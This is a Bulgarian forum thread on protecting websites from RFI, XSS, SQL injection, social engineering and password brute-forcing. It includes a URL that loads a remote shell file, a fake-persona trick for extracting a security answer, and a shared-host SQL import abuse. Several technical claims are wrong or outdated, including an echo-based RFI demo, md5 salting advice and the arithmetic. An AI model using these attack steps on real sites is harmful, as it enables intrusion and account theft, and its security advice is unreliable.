Защита на сайтове.

Valentinn

Active Member
Може би 99% от потребителите във форума се занимават с онлайн бизнес и следователно имат уеб страници.Голям проблем обаче е, ако не знам как да я защитим. Точно това ще се опитам да ви обясня в тази статия. Ще напиша всичко което знам за защитата, и дори 1 нещо написаното от мен да сте научили няма да ви е в излишак.
Първо искам да кажа начините които знам за атака на 1 сайт: RFI,XSS,SQL INJECTION,social engineering и др.Така сега да ви обясня за всяка една от тях:

1.RFI: този метод позволява да се кача файл на вашия сайт. За да ви го обясня по-добре ще ви дам пример:
Имате урл index.php?user=admin
И вие не валидирате самия $_GET параметър,а го извиквате направо:
<?php
echo $_GET['user'];
?>
Хакера просто премахва потребителя admin, и дава път към неговия файл, така автоматично се зарежда той.Пример:
index.php?user=http://opty.hit.bg/shell.txt? - този линк е към шел(това е php файл, които когато се качи на сървър ти дава достъп до файловете в него) на 1 "хакер". Така по принцип този метод използва фунцията на apache да отаря съдържанието на външни линкове.Във всички хостинг комании(читави) това е изключено,в новите версии на хамп също, така че е почти невъзможно да ви хакнат по този метод, просто ви го пиша за информация :D

2.XSS: това е моетод които позволява да се изпълни javascript в сайта. Примерно в урл-то: след като го прати на някои потребител които се е логнал, тои ми взима coocki-то, и така се логва от негово име. Повече за тази уязвимост вижте тук: http://gatakka.eu/?p=540

3.SQL Injection: метод при които се изпълнява SQL заявка без ваше поволение. Как да се предпазим:

3.1.Валидирате $_GET параметъра(ако има такъв). Пример с ид:
url: http://site.com/index.php?id=10
Проверяваме дали id е изпратено и дали самото ид е валидно.
$rs = mysql_query('SELECT * FROM table WHERE id="'.$id.'"');
if(mysql_num_rows($rs)==0 AND !isset($_GET['id'])){
//тук може да го запишете в лог файл ако желаете
}

3.2.Когато от форма записвате в базаданни, и след това я изкарвате някъде я валидирайте с addslashes(); , trim(); и т.н.

4.Social Engineering: този метод е използван от много известни навремето хакери като Кевин Митник.Той не е от типа "насилствено хакване", той е по-скоро психологически. Ще ви дам пример да ме разберете по-добре:
Искате да вземете паролата на администратора в някои форум, давате на забравена парола и виждате, че ви пита примерно "Какъв домашен любимец имам?".
4.1. Намирате скайпа или накъква връзка с администратора.
4.2. Правиш си скайп sexy_girl_92
4.3. Започваш да си пишеш с него, и случайно го питаш какъв домашен любимец има той, пробваш го, и хоп влизаш в акаунта му.
Това е пример, вече малко хора дават истинските си данни, но навремето е бил много успешен метод.

Има и още хитри начини за хакване които трябва да се пазим, като например:
Роотване на целия сървър на сайта ви: това също е чест метод. Пирмерно си избирам да хакна сайта vbox7.com , но тей като системата му е желязна за мен виждам кои друг сайт се хоства на него сървър. Хаквам него ако мога, след това качвам шел, и от там вече има различни начини за предобиване на достъп до останалите, няма да се впускам в подробности. За това също е важно да изберете сигурен хостинг.

Последно да ви кажа за готовите системи: Ако ползвате готови системи разбира се нивото на сигурност е много по-голямо(говорим за по-известните, а не някоя на сулио и пулио), но все пак да не забравим, че системата е разглеждана от много хора които разбират, и така е много по-трудно да се защити.Повечето хора, които дремят по часове пред някоя по-известна система търсейки дупка, след като намерят или се хвалят нейде или пък си има цели сайтове за exploit-и.Просто напишете в гугъл името на системата + exploit (пример: е107 exploit) и потърсете дали за вашата няма, а ако има потърсете съответното закърпване.

Има още куп хитрости, които хората са измислели, но това са главните за който се сещам. Дано съм ви бил от полза, и ако имате нещо да допълните или да ме поправите ще съм ви благодарен.
 
От: Защита на сайтове.

Много хубаво, обаче даваш насоки на пишман хакерите.... така ще знаят за какво да търсят и ще експериментират по на хората сайтовете... Иначе хубава и полезна тема.
 
От: Защита на сайтове.

Ако дадеш и някои насоки за защита на персоналния компютър, ще е супер, че това ми е голяма грижа.
 
От: Защита на сайтове.

Стари спомени, как мога да забравя c99 с паячето. Сещам се тийнските ми дни... Сега тези (#1,2,3) номера вече не стават, повечето са със CMS'и. А който пише къстъм, научил се е да не става за смях пред деца. Жалко е, че все още срещам сайтове, където може да се логнеш без да знаеш паролата на даден потребител. Най-често срещам логически бъговеи прочие.
 
От: Защита на сайтове.

А забравих още нещо:
Хеширайте си паролите - било то md5,sha1 и т.н.
Има едно нещо наречено salt: Създайте една променлива която да съдържа нещо от сорта на "DA$23984SDUd)(@#8uasd"(нещо със символи, големи/малки букви и т.н.). Когато потребителя се регистрира правете паролата да изглежда така: DA$23984SDUd)(@#8uasd_паролата на потребителя, и след това я хеширвайте мд5 примерно. И така дори потребителя да е избрал лесна парола като "123456", ще бъде почти невъзможно да се разхешира.

п.п аз ползвам мд5 тей като тя не може да се разхешира, а може да се брутфорсва, т.е има сайтове с големи базиданни от пароли, които я сравняват с други пароли, но шанса да разбият паролата като "DA$23984SDUd)(@#8uasd" е много малък.
 
От: Защита на сайтове.

Ако дадеш и някои насоки за защита на персоналния компютър, ще е супер, че това ми е голяма грижа.

Ниво на сигурност 0. Любимото на счетоводителите, режеш лан кабела с нож и готово :)
 
От: Защита на сайтове.

Аз съм правил и друг вид пробив. Ако има някаква споделена система за безплатни форуми (най-често базирана на phpBB) и ако админа позволява import-ване на вече съществуващи бази данни на форуми (полезно при пренасяне от друг хост на този), най-често се ползва един MySQL акаунт. В такъв случай с ръчно попълване на този SQL import файл можеш да човъркаш освен своите таблици, също и на другите ползващи тази услуга. Най-грубото е да използваш DROP. По-забавно е ако с UPDATE добавиш "style='color:red'" в име, описание или титла на някой user. Доколкото помня цветове не могат да се използват на тези места.
Подобен метод може да се използва и за хостинг на сайтове от един тип (т.е. подобно на форумите).
Спасението е или да се създава за всеки акаунт отделна база данни с отделен MySQL акаунт или да не се позволява import на външен SQL import файл.
 
От: Защита на сайтове.

3.2.Когато от форма записвате в базаданни, и след това я изкарвате някъде я валидирайте с addslashes(); , trim(); и т.н.

Тук може да се използва и mysql_escape_string(); за PHP5 и mysql_real_escape_string(); за PHP5.3
 
От: Защита на сайтове.

Вижте следния код:
function query($sql)
{
mysql_query("SET NAMES utf8");
$rs=mysql_query($sql);
if(mysql_error())
{
$ip = $_SERVER['REMOTE_ADDR'];
$han=fopen('db_log.txt', 'a+');
fwrite($han, 'db_error: time: '.time().' SQL:'.$sql.' ip:'.$ip.' \n');
fclose($han);
}

return $rs;
}

С какво ще ни помогне ? Ами няколко неща:
1. Вместо mysql_query() ще пишем query() - това не е чак толкова от значение
2. Слага utf8 към база данни - и това не е толкова важно, защото може да се сложи при самата връзка към база данни
3. Най-важното е, че ако някои се опита да хакне сайта ни, от място което не сме го видели, и mysql даде грешка, тя автоматично ще се запише в лог файл, които ще ви покаже от къде е тази грешка, времето и ип-то. Това много може да ви помогне за сигурността.
 
От: Защита на сайтове.

Уф, нищо не разбирам от написаното.... :oops:
Одеве ми хакнаха сайта btw.... оправихме го, но имам въпрос относно един плъгин?

BulletProof Security
http://wordpress.org/extend/plugins/bulletproof-security/

Читав ли е, струва ли си да се слага?

От скоро го ползвам и все още пресните ми впечатления са, че може да се разчита на него :)
 
От: Защита на сайтове.

Веднъж ми хакнаха сайт чрез filezillа - оттогава не помня пароли в нея, изключвам я веднага след ползване и съм я сложила в админ акаунт, без права, ама то знае ли се..... Тогава някакви руснаци ми бяха инсталирали в един афилейт сайт тяхна форма за контакт. Даже си бяха направили и бъзик, в страницата, към която водеха линковете имаше само надпис - "не хуй тут делаеш" :) Сега ми е смешно, ама тогава хич не ми беше ....пък и се разминах леко.
 
От: Защита на сайтове.

Най-добрия начин да защитите даден сайт е като сами опитате да го хакнете или да достигнете до вашата собствена парола :) ако неможете да направите това помолете някой които разбира да го направи...Най-ползваното е SQLi ако ползвате готови системи внимавайте какви plugin-и слагате за доста от тях излизат всеки ден експлойти.
Ако искате да проверите вашия сайт пишете на лично и ще ви кажа каде и какви грешки има.
 
От: Защита на сайтове.

Здравейте.
Първия спамаджия се намести в кръчмата (форума ми). Пред очите ми нацвъка над 190 теми. Изтрих го. Както си беше онлайн.

Искам съвет относно защитата:
Мога да дам забрана на АйПи и/или на хост, както и тези опции:
Пълна забрана;
Частични ограничения:
- Да не може да публикува (?)
- Да не може да се регистрира
- Забрана за влизане
Кое ограничение би било най-удачно?

Бях модератор в един форум и там най-удачно за един досадник се оказа да си пише, но да не се публикува. Щото се фуклявеше, че като му дадем бан по АйПи щял да влиза през прокси.

Форума е на SMF, ако това има значение.
Благодаря предварително!
 
От: Защита на сайтове.

Здравейте.
Първия спамаджия се намести в кръчмата (форума ми). Пред очите ми нацвъка над 190 теми. Изтрих го. Както си беше онлайн.

Искам съвет относно защитата:
Мога да дам забрана на АйПи и/или на хост, както и тези опции:
Пълна забрана;
Частични ограничения:
- Да не може да публикува (?)
- Да не може да се регистрира
- Забрана за влизане
Кое ограничение би било най-удачно?

Бях модератор в един форум и там най-удачно за един досадник се оказа да си пише, но да не се публикува. Щото се фуклявеше, че като му дадем бан по АйПи щял да влиза през прокси.

Форума е на SMF, ако това има значение.
Благодаря предварително!

бан пo IP адрес - това е най-удачното
 
От: Защита на сайтове.

Вижте следния код:


С какво ще ни помогне ? Ами няколко неща:
1. Вместо mysql_query() ще пишем query() - това не е чак толкова от значение

От значение е. Аз преди време имах заявка от сорта на

Код:
 $sql = "UPDATE таблица SET едиквоси WHERE едищоси";

В тази таблица един от шефовете 2 седмици беше събирал информация, а аз се бях хванал на думите на другия шеф да не архивирам и да работя направо върху системата. Обаче докато пишех кода на PHP, нещо се объркало и изпуснало едно от условията в WHERE. В резултат - всички записи в таблицата бяха със съдържание Ivan Ivanov dran-dran :lol: (това беше текста, с който тествах скриптовете)

От тогава ползвам код, който прави нещо като това:

Код:
function do_query($some_id, $the_sql) {

if ($some_id == 0)

$sql = "INSERT INTO ";
else 
$sql = "UPDATE "; 

// после 

$sql .= $the_sql; 

// и накрая

if ($some_id != 0)
$sql .= " LIMIT 1";

mysql_query($sql);
}

Значи да го обясня, макар че това касае хората, които сами си пишат системите, а не готовите системи (в смисъл, че ако не е направено така, не можете да пренапишете целия CMS).

Извиквам функцията, като й предавам два параметъра - единия е променливата с ID-то на записа, който трябва да се промени, а другия е SQL заявката. Функцията проверява дали е вмъкване на нов запис или промяна на съществуващ. Ако е промяна на съществуващ запис (тогава ID-то със сигурност е различно от 0), ф-ята прибавя " LIMIT 1" в края на заявката, с което налага ограничение да бъде променен само един запис.


Така дори и да изтървете някое условие в WHERE, при UPDATE ще повредите само 1 запис, а не цялата таблица, благодарение на това LIMIT 1 накрая. :)
 
Последно редактирано:
От: Защита на сайтове.

А забравих още нещо:
Хеширайте си паролите - било то md5,sha1 и т.н.
Има едно нещо наречено salt: Създайте една променлива която да съдържа нещо от сорта на "DA$23984SDUd)(@#8uasd"(нещо със символи, големи/малки букви и т.н.). Когато потребителя се регистрира правете паролата да изглежда така: DA$23984SDUd)(@#8uasd_паролата на потребителя, и след това я хеширвайте мд5 примерно. И така дори потребителя да е избрал лесна парола като "123456", ще бъде почти невъзможно да се разхешира.

п.п аз ползвам мд5 тей като тя не може да се разхешира, а може да се брутфорсва, т.е има сайтове с големи базиданни от пароли, които я сравняват с други пароли, но шанса да разбият паролата като "DA$23984SDUd)(@#8uasd" е много малък.

valkbtb мисля, че от публикацията ти не става ясно на начинаещите точно за какво говориш, затова ще поясня, базирайки се на информацията от http://en.wikipedia.org/wiki/Salt_(cryptography)


Но първо да уточня понятието хеширане, макар и не много точно. Това е механизъм за ускоряване на програмите и намаляване на паметта, която използват. Хеш-функцията е математическо преобразуване, при което символен низ от примерно 20-50 байта се заменя с число от примерно 4 байта. Целта е да се ускори търсенето на елемент в да речем двоично дърво или свързан списък. Освен ускоряване в пъти, това може да спести и памет при добре организирана програма. Но тъй като хеш-функцията поддържа много по-малко комбинации, ще има повтаряне - различни символни низове ще имат един и същ хеш. Едва тогава измежду няколкото повтарящи се символни низа ще се приложи последователно търсене, което няма да повлияе върху производителността като цяло.



Сега за паролите. С цел ако някой докопа таблицата с паролите на потребителите, да не може да я използва, те се съхраняват криптирани. А криптирането се извършва с функция, позволяваща само еднопосочно криптиране. Т.е. тя не може да се декриптира. Когато потребителят се логва, той въвежда паролата си, тя се криптира и полученият символен низ се сравнява със символния низ в таблицата с потребителите. Ако съвпаднат - паролата е вярна, а ако не съвпаднат, е грешна.

Ако някой докопа таблицата с потребителите, единствения начин да разбере паролите, е като започне с налучкване да криптира една по една всевъзможни комбинации от букви и да сравнява получения символен низ с онзи от таблицата. Колкото повече букви има във всяка една парола, толкова повече комбинации трябва да пробва атакуващия, с което задачата се затруднява силно (трябва му по-мощен компютър или повече време).


Това, че за съхранение на пароли се използват хеш-функции в сравнение с ускоряването на програмите, в никакъв слуай не означава, че прави сайтовете незащитени. Просто тук като хеш-функции се използват еднопосочни криптиращи алгоритми, които имат коренно различни параметри: те работят с голям брой комбинации. Алгоритъмът md5 е 128-битов, което позволява съхранение на 2^128 = 3,4028236692093846346337460743177 x 10^38 комбинации! (И въпреки това съм чувал от колега, че имало повторение...)

Уточнение: символът ^ означава повдигане на степен. 10^38 ще рече 10 на 38 степен!



Ето примерите с парола с 6 символа:

Идеята на Salt-а е, ако някой изтегли на компютъра си таблицата, в която се съхраняват паролите на потребителите, да не може да ги налучка лесно. Т.е. ако се ползват само символите от латиницата - малки и големи букви, и цифри (26+26+10 - приблизително 64 комбинации), без salt ще трябва да пробва 64^6 = 4096 комбинации - сравнително лесно за разбиване.

Но ако има salt от 32 символа отпред или отзад на паролата, ще трябва да пробва 64^38 = 4 398 046 511 104 комбинации!
Но това е само ако прави опити върху таблицата, т.е. да налучка хеш-овете.


Ако опитва да bruteforce-ва, никакъв salt няма да спаси потребителя, в случай, че е използвал проста парола. Защото от примера горе с 6-те символа ще е нужно да направи максимум 4096 опита, за да разбие паролата! Друг е въпроса дали ще му стигне скоростта на Интернет връзката за това :lol: За този случай решенията са поне 4:

1. Да задължаваш потребителя да въвежда парола от минимум еди колко си символа, в която задължително има малки и големи букви, цифри и препинателни знаци.

2. Да вкараш изкуствено закъснение в скрипта, който проверява паролата: след като натисне бутона Login, да следва примерно 5 секунди изчакване и тогава да върне отговор. По този начин за проверката на 4096 комбинации ще са нужни 20 000 секунди (6 часа), отколкото примерно 409 секунди при да речем 0.1 сек. време за зареждане на страницата. А ако комбинираш с горното, ще е доста по-времеемко.

3. Може да сложиш ограничение при 20 неуспешни опита за влизане на ден, да не му се отваря логин страницата. Ще му трябва повече от половин година за да разбие парола от 6 символа :D

4. Captcha (картинка със символи, които потребителя трябва да въведе). Изисква атакуващия да има програма с изкуствен интелект за разпознаване на символи и колкото по-изчанчена е captcha-та, толкова по-малка е вероятността някой да я преодолее. Според мен това е най-сигурната защита против bruteforce-ване на пароли.


Но никоя от тези защити няма да спаси потребителя, ако в компютъра му има троянец на атакуващия! :(


Малко офтопик:
Когато си пусна Linux сървър, много се дразня, когато идиоти се опитват да brute-force-ват root паролата през SSH (дразни ме чегъртането на харддиска), затова обикновено SSH го правя достъпен само през VPN :lol: :twisted: :D


П.С. Много ме изкефи подписа ти! :D
 
Последно редактирано:
От: Защита на сайтове.

Много хубави съветчета, но има едно много простичко правило, което засега мен ме е спасявало. Просто използвайте дълги и сложни пароли с цифри, знаци и малки и големи букви.
 
От: Защита на сайтове.

На форума ми съм задал сложна парола (големи и малки букви+цифри) + емайл активиране + картинка код. Същата бариера съм задал и за първо публикуване.
Вчерашното пробиване предполагам, че е от реален човек, който после е пуснал бота.
Имам няколко съмнителни регистрации, но нямат публикации. Предполагам, че бариерата за първо публикуване е сработила.
Като администратор влизам от друг браузър, който използвам само за това.

Сега се замислям: ако влизам през Хром инкогнито, дали нещо остава на компа?
 
Последно редактирано:

Горе